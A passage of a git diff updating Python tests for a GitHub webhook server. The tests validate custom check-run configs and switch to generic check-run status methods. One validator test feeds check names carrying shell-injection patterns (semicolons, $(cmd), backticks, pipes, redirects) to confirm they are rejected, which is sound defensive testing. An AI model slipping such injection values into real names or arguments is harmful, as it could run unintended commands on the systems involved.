AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ), + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify check was executed + runner_handler.check_run_handler.set_check_in_progress.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_called_once() + + @pytest.mark.asyncio + async def test_custom_check_name_stored_as_configured(self) -> None: + """Test that custom check names are stored exactly as configured in YAML. + + Check names should match exactly what's in the YAML config without any prefix. + """ + check_name = "lint" + + # Custom check names should match exactly what's in YAML config + assert check_name == "lint" + + # Verify the name is used directly without modification + retest_arg = check_name + assert retest_arg == "lint" + + +class TestValidateCustomCheckRuns: + """Tests for _validate_custom_check_runs validation logic.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance for validation testing.""" + mock_webhook = Mock() + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + return mock_webhook + + def test_missing_name_field(self, mock_github_webhook: Mock) -> None: + """Test that checks without 'name' field are skipped with warning.""" + raw_checks = [ + {"command": "uv tool run --from ruff ruff check"}, # Missing 'name' + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Patch shutil.which to always return True (executable exists) + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warning should be logged for missing name + mock_github_webhook.logger.warning.assert_any_call("Custom check missing required 'name' field, skipping") + + def test_missing_command_field(self, mock_github_webhook: Mock) -> None: + """Test that checks without 'command' field are skipped with warning.""" + raw_checks = [ + {"name": "no-command"}, # Missing 'command' + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warning should be logged for missing command + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'no-command' missing required 'command' field, skipping" + ) + + def test_empty_command_field(self, mock_github_webhook: Mock) -> None: + """Test that checks with empty command field are skipped with warning.""" + raw_checks = [ + {"name": "empty-command", "command": ""}, # Empty command + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warning should be logged for empty command + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'empty-command' missing required 'command' field, skipping" + ) + + def test_unsafe_characters_in_name(self, mock_github_webhook: Mock) -> None: + """Test that checks with unsafe characters in name are skipped with warning.""" + raw_checks = [ + {"name": "valid-check", "command": "echo test"}, # Valid name + {"name": "check with spaces", "command": "echo test"}, # Has spaces + {"name": "check;injection", "command": "echo test"}, # Has semicolon + {"name": "check$(cmd)", "command": "echo test"}, # Has shell substitution + {"name": "check`cmd`", "command": "echo test"}, # Has backticks + {"name": "check|pipe", "command": "echo test"}, # Has pipe + {"name": "check>redirect", "command": "echo test"}, # Has redirect + {"name": "check&background", "command": "echo test"}, # Has ampersand + {"name": "", "command": "echo test"}, # Empty name (too short) + {"name": "a" * 65, "command": "echo test"}, # Too long (65 chars, max 64) + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warnings should be logged for unsafe character names + mock_github_webhook.logger.warning.assert_any_call( + "Custom check name 'check with spaces' contains unsafe characters, skipping" + ) + mock_github_webhook.logger.warning.assert_any_call( + "Custom check name 'check;injection' contains unsafe characters, skipping" + ) + + def test_valid_name_patterns(self, mock_github_webhook: Mock) -> None: + """Test that valid name patterns are accepted.""" + raw_checks = [ + {"name": "a", "command": "echo test"}, # Single char + {"name": "a" * 64, "command": "echo test"}, # Max length (64 chars) + {"name": "my-check", "command": "echo test"}, # With hyphen + {"name": "my_check", "command": "echo test"}, # With underscore + {"name": "my.check", "command": "echo test"}, # With dot + {"name": "myCheck123", "command": "echo test"}, # Alphanumeric + {"name": "CHECK-NAME_v1.2", "command": "echo test"}, # Mixed valid chars + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # All checks should pass + assert len(validated) == 7 + validated_names = [c["name"] for c in validated] + assert "a" in validated_names + assert "my-check" in validated_names + assert "my_check" in validated_names + assert "my.check" in validated_names + assert "myCheck123" in validated_names + assert "CHECK-NAME_v1.2" in validated_names + + def test_whitespace_only_command(self, mock_github_webhook: Mock) -> None: + """Test that checks with whitespace-only command are skipped.""" + raw_checks = [ + {"name": "whitespace-command", "command": " "}, # Whitespace only + {"name": "tab-command", "command": "\t\t"}, # Tabs only + {"name": "newline-command", "command": "\n\n"}, # Newlines only + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warnings should be logged for whitespace-only commands + assert mock_github_webhook.logger.warning.call_count >= 3 + # Whitespace-only commands pass the `if not command:` check (string is truthy) + # but fail the `if not command.strip():` check with "empty" message + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'whitespace-command' has empty 'command' field, skipping" + ) + + def test_executable_not_found(self, mock_github_webhook: Mock) -> None: + """Test that checks with non-existent executable are skipped.""" + raw_checks = [ + {"name": "missing-exec", "command": "nonexistent_command --arg"}, # Executable doesn't exist + {"name": "valid-check", "command": "echo test"}, # Valid + ] + + # Mock shutil.which to return None for nonexistent_command, path for echo + def mock_which(cmd: str) -> str | None: + return "/usr/bin/echo" if cmd == "echo" else None + + with patch("shutil.which", side_effect=mock_which): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warning should be logged for missing executable + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'missing-exec' executable 'nonexistent_command' not found on server. " + "Please open an issue to request adding this executable to the container, " + "or submit a PR to add it. Skipping check." + ) + + def test_multiple_validation_failures(self, mock_github_webhook: Mock) -> None: + """Test handling of multiple validation failures at once.""" + raw_checks = [ + {"command": "echo test"}, # Missing name + {"name": "no-cmd"}, # Missing command + {"name": "whitespace", "command": " "}, # Whitespace command + {"name": "bad-exec", "command": "fake_tool --option"}, # Non-existent executable + {"name": "good-check", "command": "echo valid"}, # Valid + ] + + # Mock shutil.which to only find 'echo' + def mock_which(cmd: str) -> str | None: + return "/usr/bin/echo" if cmd == "echo" else None + + with patch("shutil.which", side_effect=mock_which): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "good-check" + + # Should have logged 5 warnings (4 individual + 1 summary) + assert mock_github_webhook.logger.warning.call_count == 5 + + def test_all_checks_valid(self, mock_github_webhook: Mock) -> None: + """Test that all checks pass when validation is successful.""" + raw_checks = [ + {"name": "check1", "command": "echo test1"}, + {"name": "check2", "command": "echo test2"}, + {"name": "check3", "command": "python -c 'print(1)'"}, + ] + + # Mock shutil.which to find all executables + def mock_which(cmd: str) -> str | None: + if cmd in ["echo", "python"]: + return f"/usr/bin/{cmd}" + return None + + with patch("shutil.which", side_effect=mock_which): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # All checks should pass + assert len(validated) == 3 + assert validated[0]["name"] == "check1" + assert validated[1]["name"] == "check2" + assert validated[2]["name"] == "check3" + + # Debug logs should be called for each validated check + assert mock_github_webhook.logger.debug.call_count == 3 + + def test_empty_check_list(self, mock_github_webhook: Mock) -> None: + """Test that empty check list returns empty validated list.""" + raw_checks: list[dict[str, Any]] = [] + + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should return empty list + assert len(validated) == 0 + assert validated == [] + + def test_complex_multiline_command_validation(self, mock_github_webhook: Mock) -> None: + """Test validation of complex multiline commands.""" + raw_checks = [ + { + "name": "complex-check", + "command": "python -c \"\nimport sys\nprint('test')\nsys.exit(0)\n\"", + }, + ] + + # Mock shutil.which to find python + with patch("shutil.which", return_value="/usr/bin/python"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should validate successfully (extracts 'python' as executable) + assert len(validated) == 1 + assert validated[0]["name"] == "complex-check" + + def test_command_with_path_executable(self, mock_github_webhook: Mock) -> None: + """Test validation when command uses full path to executable.""" + raw_checks = [ + {"name": "full-path", "command": "/usr/local/bin/custom_tool --arg"}, + ] + + # Mock shutil.which to find the full path executable + with patch("shutil.which", return_value="/usr/local/bin/custom_tool"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should validate successfully + assert len(validated) == 1 + assert validated[0]["name"] == "full-path" + + def test_env_var_prefixed_command_validation(self, mock_github_webhook: Mock) -> None: + """Test that commands with env var prefixes like 'TOKEN=xyz uv ...' are validated correctly. + + The executable should be extracted as the first word AFTER all KEY=VALUE pairs. + For example: 'TOKEN=xyz PATH=/x/bin echo hi' should validate 'echo' as the executable. + """ + raw_checks = [ + {"name": "env-prefixed", "command": "TOKEN=xyz PATH=/x/bin echo hi"}, + {"name": "single-env", "command": "DEBUG=true uv run pytest"}, + {"name": "complex-env", "command": "VAR1=a VAR2=b VAR3=c python -c 'print(1)'"}, + ] + + # Mock shutil.which to find echo, uv, and python (the actual executables after env vars) + def mock_which(cmd: str) -> str | None: + # The implementation skips KEY=VALUE pairs and extracts the actual executable + known_executables = {"echo", "uv", "python"} + return f"/usr/bin/{cmd}" if cmd in known_executables else None + + with patch("shutil.which", side_effect=mock_which): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # All checks should validate successfully with the correct executable extracted + assert len(validated) == 3 + assert validated[0]["name"] == "env-prefixed" + assert validated[1]["name"] == "single-env" + assert validated[2]["name"] == "complex-env" + + def test_env_var_only_command_fails_validation(self, mock_github_webhook: Mock) -> None: + """Test that a command with only env vars (no executable) fails validation.""" + raw_checks = [ + {"name": "only-env-vars", "command": "VAR1=a VAR2=b"}, + ] + + with patch("shutil.which", return_value=None): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should fail because there's no executable after the env vars + assert len(validated) == 0 + mock_github_webhook.logger.warning.assert_any_call("Custom check 'only-env-vars' has no executable, skipping") + + +class TestCustomCheckRunsEdgeCases: + """Test suite for edge cases and error handling in custom check runs.""" + + @pytest.fixture + def mock_github_webhook(self, tmp_path: Path) -> Mock: + """Create a mock GithubWebhook instance.""" + mock_webhook = Mock() + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.clone_repo_dir = str(tmp_path / "test-repo") + mock_webhook.mask_sensitive = True + mock_webhook.custom_check_runs = [] + return mock_webhook + + @pytest.mark.asyncio + async def test_no_custom_checks_configured(self, mock_github_webhook: Mock) -> None: + """Test behavior when no custom checks are configured.""" + # Create fresh mock with no custom checks but other checks may be configured + mock_github_webhook.custom_check_runs = [] + mock_github_webhook.tox = None + mock_github_webhook.verified_job = None + mock_github_webhook.build_and_push_container = None + mock_github_webhook.pypi = None + mock_github_webhook.conventional_title = None + + check_run_handler = CheckRunHandler(mock_github_webhook) + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + # Reset cache + check_run_handler._all_required_status_checks = None + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Should not include any custom checks (and no other checks configured) + assert len(result) == 0 # No checks configured at all + + @pytest.mark.asyncio + async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock, tmp_path: Path) -> None: + """Test that timeout should be handled gracefully.""" + runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) + runner_handler.check_run_handler.set_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_check_failure = AsyncMock() + runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Timeout") + + mock_pull_request = Mock() + mock_pull_request.number = 123 + mock_pull_request.base = Mock() + mock_pull_request.base.ref = "main" + + check_config = { + "name": "slow-check", + "command": "uv tool run --from some-package slow-command", + } + + worktree = tmp_path / "worktree" + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(side_effect=asyncio.TimeoutError), + ), + ): + # Should handle timeout gracefully by reporting failure + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify that a failure was reported with timeout-related message + runner_handler.check_run_handler.set_check_failure.assert_awaited_once() + call_args = runner_handler.check_run_handler.set_check_failure.call_args + # Check that the failure message mentions timeout + assert "timeout" in str(call_args).lower() or "timed out" in str(call_args).lower() + + @pytest.mark.asyncio + async def test_custom_check_with_long_command(self, mock_github_webhook: Mock, tmp_path: Path) -> None: + """Test custom check with long multiline command from config.""" + runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) + runner_handler.check_run_handler.set_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_check_success = AsyncMock() + runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Output") + + mock_pull_request = Mock() + mock_pull_request.number = 123 + mock_pull_request.base = Mock() + mock_pull_request.base.ref = "main" + + check_config = { + "name": "long-check", + "command": "python -c \"\nimport sys\nprint('Running complex check')\nsys.exit(0)\n\"", + } + + worktree = tmp_path / "worktree" + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ), + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Should succeed with multiline command + runner_handler.check_run_handler.set_check_success.assert_called_once() diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index e3f6c158..5e0d58a9 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -14,6 +14,7 @@ from webhook_server.libs.exceptions import RepositoryNotFoundInConfigError from webhook_server.libs.github_api import GithubWebhook from webhook_server.libs.handlers.owners_files_handler import OwnersFileHandler +from webhook_server.tests.conftest import TEST_GITHUB_TOKEN class TestGithubWebhook: @@ -101,6 +102,8 @@ def _get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> boo return {} if value == "verified-job": return True + if value == "custom-check-runs": + return [] return None return _get_value_side_effect @@ -673,6 +676,8 @@ def get_value_side_effect(value, *args, **kwargs): return False if value == "github-app-id": return "" + if value == "custom-check-runs": + return [] return None mock_config.return_value.get_value.side_effect = get_value_side_effect @@ -1476,6 +1481,7 @@ async def test_clone_repository_empty_checkout_ref( minimal_headers: Headers, logger: Mock, tmp_path: Path, + get_value_side_effect: Callable[..., object], ) -> None: """Test _clone_repository raises ValueError when checkout_ref is empty string.""" with ( @@ -1487,7 +1493,7 @@ async def test_clone_repository_empty_checkout_ref( # Setup mocks mock_config = Mock() mock_config.repository_data = {"enabled": True} - mock_config.get_value.return_value = None + mock_config.get_value.side_effect = get_value_side_effect mock_config.data_dir = str(tmp_path) mock_config_cls.return_value = mock_config @@ -1965,3 +1971,115 @@ def get_value_side_effect(value: str, *_args: object, **kwargs: object) -> objec # Verify only valid string entries are kept (and filtered to valid categories) assert gh.enabled_labels is not None assert "verified" in gh.enabled_labels + + def test_validate_custom_check_runs_builtin_collision( + self, minimal_hook_data: dict[str, Any], minimal_headers: Headers + ) -> None: + """Test that custom checks with names colliding with built-in checks are rejected.""" + with patch("webhook_server.libs.github_api.Config") as mock_config: + mock_config.return_value.repository = True + mock_config.return_value.repository_local_data.return_value = {} + + # Mock get_value to return custom checks with colliding names + def get_value_side_effect( + value: str, *_args: object, **_kwargs: object + ) -> list[dict[str, str]] | dict[str, object] | None: + if value == "custom-check-runs": + return [ + {"name": "tox", "command": "tox -e py39"}, # Collision with TOX_STR + {"name": "pre-commit", "command": "pre-commit run"}, # Collision with PRE_COMMIT_STR + {"name": "build-container", "command": "docker build"}, # Collision with BUILD_CONTAINER_STR + {"name": "python-module-install", "command": "pip install"}, # Collision + {"name": "conventional-title", "command": "commitlint"}, # Collision + {"name": "valid-custom-check", "command": "pytest"}, # Valid custom check + ] + if value == "container": + return {} + if value == "pypi": + return {} + return None + + mock_config.return_value.get_value.side_effect = get_value_side_effect + + with patch("webhook_server.libs.github_api.get_api_with_highest_rate_limit") as mock_get_api: + mock_get_api.return_value = (Mock(), TEST_GITHUB_TOKEN, "apiuser") + + with patch("webhook_server.libs.github_api.get_github_repo_api"): + with patch("webhook_server.libs.github_api.get_repository_github_app_api"): + with patch("webhook_server.utils.helpers.get_repository_color_for_log_prefix"): + # Mock shutil.which to return True for all executables + with patch("shutil.which", return_value="/usr/bin/command"): + mock_logger = Mock() + gh = GithubWebhook(minimal_hook_data, minimal_headers, mock_logger) + + # Verify that only the valid custom check was accepted + assert len(gh.custom_check_runs) == 1 + assert gh.custom_check_runs[0]["name"] == "valid-custom-check" + + # Verify that warnings were logged for each collision + # Extract actual message strings from call args (first positional argument) + warning_messages = [args[0] for args, _ in mock_logger.warning.call_args_list if args] + assert any("'tox' conflicts with built-in check" in msg for msg in warning_messages) + assert any( + "'pre-commit' conflicts with built-in check" in msg for msg in warning_messages + ) + assert any( + "'build-container' conflicts with built-in check" in msg for msg in warning_messages + ) + assert any( + "'python-module-install' conflicts with built-in check" in msg + for msg in warning_messages + ) + assert any( + "'conventional-title' conflicts with built-in check" in msg + for msg in warning_messages + ) + + def test_validate_custom_check_runs_duplicate_names( + self, minimal_hook_data: dict[str, Any], minimal_headers: Headers + ) -> None: + """Test that duplicate custom check names are rejected.""" + with patch("webhook_server.libs.github_api.Config") as mock_config: + mock_config.return_value.repository = True + mock_config.return_value.repository_local_data.return_value = {} + + # Mock get_value to return custom checks with duplicate names + def get_value_side_effect( + value: str, *_args: object, **_kwargs: object + ) -> list[dict[str, str]] | dict[str, object] | None: + if value == "custom-check-runs": + return [ + {"name": "my-check", "command": "pytest"}, + {"name": "my-check", "command": "ruff check"}, # Duplicate name + {"name": "another-check", "command": "mypy"}, + ] + if value == "container": + return {} + if value == "pypi": + return {} + return None + + mock_config.return_value.get_value.side_effect = get_value_side_effect + + with patch("webhook_server.libs.github_api.get_api_with_highest_rate_limit") as mock_get_api: + mock_get_api.return_value = (Mock(), TEST_GITHUB_TOKEN, "apiuser") + + with patch("webhook_server.libs.github_api.get_github_repo_api"): + with patch("webhook_server.libs.github_api.get_repository_github_app_api"): + with patch("webhook_server.utils.helpers.get_repository_color_for_log_prefix"): + # Mock shutil.which to return True for all executables + with patch("shutil.which", return_value="/usr/bin/command"): + mock_logger = Mock() + gh = GithubWebhook(minimal_hook_data, minimal_headers, mock_logger) + + # Verify that only unique names are kept (first occurrence wins) + assert len(gh.custom_check_runs) == 2 + check_names = [c["name"] for c in gh.custom_check_runs] + assert "my-check" in check_names + assert "another-check" in check_names + + # Verify that warning was logged for duplicate + warning_messages = [ + call.args[0] for call in mock_logger.warning.call_args_list if call.args + ] + assert any("Duplicate custom check name 'my-check'" in msg for msg in warning_messages) diff --git a/webhook_server/tests/test_issue_comment_handler.py b/webhook_server/tests/test_issue_comment_handler.py index 28d8506a..3584e634 100644 --- a/webhook_server/tests/test_issue_comment_handler.py +++ b/webhook_server/tests/test_issue_comment_handler.py @@ -42,6 +42,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.build_and_push_container = True mock_webhook.current_pull_request_supported_retest = [TOX_STR, "pre-commit"] mock_webhook.ctx = None + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture @@ -560,7 +561,7 @@ async def test_user_commands_verified_add(self, issue_comment_handler: IssueComm issue_comment_handler.labels_handler, "_add_label", new_callable=AsyncMock ) as mock_add_label: with patch.object( - issue_comment_handler.check_run_handler, "set_verify_check_success", new_callable=AsyncMock + issue_comment_handler.check_run_handler, "set_check_success", new_callable=AsyncMock ) as mock_success: await issue_comment_handler.user_commands( pull_request=mock_pull_request, @@ -569,7 +570,7 @@ async def test_user_commands_verified_add(self, issue_comment_handler: IssueComm issue_comment_id=123, ) mock_add_label.assert_called_once_with(pull_request=mock_pull_request, label=VERIFIED_LABEL_STR) - mock_success.assert_called_once() + mock_success.assert_called_once_with(name=VERIFIED_LABEL_STR) mock_reaction.assert_called_once() @pytest.mark.asyncio @@ -582,7 +583,7 @@ async def test_user_commands_verified_remove(self, issue_comment_handler: IssueC issue_comment_handler.labels_handler, "_remove_label", new_callable=AsyncMock ) as mock_remove_label: with patch.object( - issue_comment_handler.check_run_handler, "set_verify_check_queued", new_callable=AsyncMock + issue_comment_handler.check_run_handler, "set_check_queued", new_callable=AsyncMock ) as mock_queued: await issue_comment_handler.user_commands( pull_request=mock_pull_request, @@ -591,7 +592,7 @@ async def test_user_commands_verified_remove(self, issue_comment_handler: IssueC issue_comment_id=123, ) mock_remove_label.assert_called_once_with(pull_request=mock_pull_request, label=VERIFIED_LABEL_STR) - mock_queued.assert_called_once() + mock_queued.assert_called_once_with(name=VERIFIED_LABEL_STR) mock_reaction.assert_called_once() @pytest.mark.asyncio diff --git a/webhook_server/tests/test_pull_request_handler.py b/webhook_server/tests/test_pull_request_handler.py index 5590610d..89984976 100644 --- a/webhook_server/tests/test_pull_request_handler.py +++ b/webhook_server/tests/test_pull_request_handler.py @@ -83,6 +83,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.last_commit = Mock() mock_webhook.ctx = None mock_webhook.enabled_labels = None # Default: all labels enabled + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture @@ -111,17 +112,10 @@ def pull_request_handler(self, mock_github_webhook: Mock, mock_owners_file_handl handler.labels_handler.wip_or_hold_labels_exists = Mock(return_value=False) handler.check_run_handler = Mock() - handler.check_run_handler.set_verify_check_queued = AsyncMock() - handler.check_run_handler.set_verify_check_success = AsyncMock() - handler.check_run_handler.set_merge_check_in_progress = AsyncMock() - handler.check_run_handler.set_merge_check_success = AsyncMock() - handler.check_run_handler.set_merge_check_failure = AsyncMock() - handler.check_run_handler.set_merge_check_queued = AsyncMock() - handler.check_run_handler.set_run_tox_check_queued = AsyncMock() - handler.check_run_handler.set_run_pre_commit_check_queued = AsyncMock() - handler.check_run_handler.set_python_module_install_queued = AsyncMock() - handler.check_run_handler.set_container_build_queued = AsyncMock() - handler.check_run_handler.set_conventional_title_queued = AsyncMock() + handler.check_run_handler.set_check_queued = AsyncMock() + handler.check_run_handler.set_check_in_progress = AsyncMock() + handler.check_run_handler.set_check_success = AsyncMock() + handler.check_run_handler.set_check_failure = AsyncMock() handler.runner_handler = Mock() handler.runner_handler.run_container_build = AsyncMock() @@ -329,10 +323,10 @@ async def test_process_pull_request_webhook_data_labeled_verified( pull_request_handler.hook_data["label"] = {"name": VERIFIED_LABEL_STR} with patch.object(pull_request_handler, "check_if_can_be_merged") as mock_check_merge: - with patch.object(pull_request_handler.check_run_handler, "set_verify_check_success") as mock_success: + with patch.object(pull_request_handler.check_run_handler, "set_check_success") as mock_success: await pull_request_handler.process_pull_request_webhook_data(mock_pull_request) mock_check_merge.assert_called_once_with(pull_request=mock_pull_request) - mock_success.assert_called_once() + mock_success.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_process_pull_request_webhook_data_unlabeled_verified( @@ -343,10 +337,10 @@ async def test_process_pull_request_webhook_data_unlabeled_verified( pull_request_handler.hook_data["label"] = {"name": VERIFIED_LABEL_STR} with patch.object(pull_request_handler, "check_if_can_be_merged") as mock_check_merge: - with patch.object(pull_request_handler.check_run_handler, "set_verify_check_queued") as mock_queued: + with patch.object(pull_request_handler.check_run_handler, "set_check_queued") as mock_queued: await pull_request_handler.process_pull_request_webhook_data(mock_pull_request) mock_check_merge.assert_called_once_with(pull_request=mock_pull_request) - mock_queued.assert_called_once() + mock_queued.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_set_wip_label_based_on_title_with_wip( @@ -661,12 +655,12 @@ async def test_process_verified_for_update_or_new_pull_request_auto_verified( ) -> None: """Test processing verified for update or new pull request for auto-verified user.""" with patch.object(pull_request_handler.labels_handler, "_add_label", new_callable=AsyncMock) as mock_add_label: - with patch.object(pull_request_handler.check_run_handler, "set_verify_check_success") as mock_success: + with patch.object(pull_request_handler.check_run_handler, "set_check_success") as mock_success: await pull_request_handler._process_verified_for_update_or_new_pull_request( pull_request=mock_pull_request ) mock_add_label.assert_called_once_with(pull_request=mock_pull_request, label=VERIFIED_LABEL_STR) - mock_success.assert_called_once() + mock_success.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_process_verified_for_update_or_new_pull_request_not_auto_verified( @@ -676,7 +670,7 @@ async def test_process_verified_for_update_or_new_pull_request_not_auto_verified pull_request_handler.github_webhook.parent_committer = "other-user" with patch.object(pull_request_handler.labels_handler, "_add_label", new_callable=AsyncMock) as mock_add_label: - with patch.object(pull_request_handler.check_run_handler, "set_verify_check_success") as mock_success: + with patch.object(pull_request_handler.check_run_handler, "set_check_success") as mock_success: await pull_request_handler._process_verified_for_update_or_new_pull_request( pull_request=mock_pull_request ) @@ -697,12 +691,12 @@ async def test_process_verified_cherry_picked_pr_auto_verify_enabled( with ( patch.object(pull_request_handler.github_webhook, "auto_verify_cherry_picked_prs", True), patch.object(pull_request_handler.labels_handler, "_add_label") as mock_add_label, - patch.object(pull_request_handler.check_run_handler, "set_verify_check_success") as mock_set_success, + patch.object(pull_request_handler.check_run_handler, "set_check_success") as mock_set_success, ): await pull_request_handler._process_verified_for_update_or_new_pull_request(mock_pull_request) # Should auto-verify since auto_verify_cherry_picked_prs is True and user is in auto_verified list mock_add_label.assert_called_once() - mock_set_success.assert_called_once() + mock_set_success.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_process_verified_cherry_picked_pr_auto_verify_disabled( @@ -718,12 +712,12 @@ async def test_process_verified_cherry_picked_pr_auto_verify_disabled( with ( patch.object(pull_request_handler.github_webhook, "auto_verify_cherry_picked_prs", False), patch.object(pull_request_handler.labels_handler, "_add_label") as mock_add_label, - patch.object(pull_request_handler.check_run_handler, "set_verify_check_queued") as mock_set_queued, + patch.object(pull_request_handler.check_run_handler, "set_check_queued") as mock_set_queued, ): await pull_request_handler._process_verified_for_update_or_new_pull_request(mock_pull_request) # Should NOT auto-verify since auto_verify_cherry_picked_prs is False mock_add_label.assert_not_called() - mock_set_queued.assert_called_once() + mock_set_queued.assert_called_once_with(name=VERIFIED_LABEL_STR) @pytest.mark.asyncio async def test_add_pull_request_owner_as_assingee( @@ -779,7 +773,7 @@ async def test_check_if_can_be_merged_approved( _owners_data_coroutine(), ), patch.object(pull_request_handler.github_webhook, "minimum_lgtm", 0), - patch.object(pull_request_handler.check_run_handler, "set_merge_check_in_progress", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_in_progress", new=AsyncMock()), patch.object( pull_request_handler.check_run_handler, "required_check_in_progress", @@ -1705,15 +1699,10 @@ async def test_process_opened_setup_task_failure( with ( patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_merge_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_run_tox_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_run_pre_commit_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_python_module_install_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_container_build_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_conventional_title_queued", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_tox", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_pre_commit", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_install_python_module", new=AsyncMock()), @@ -1737,11 +1726,7 @@ async def test_process_opened_ci_task_failure( with ( patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_merge_check_queued", 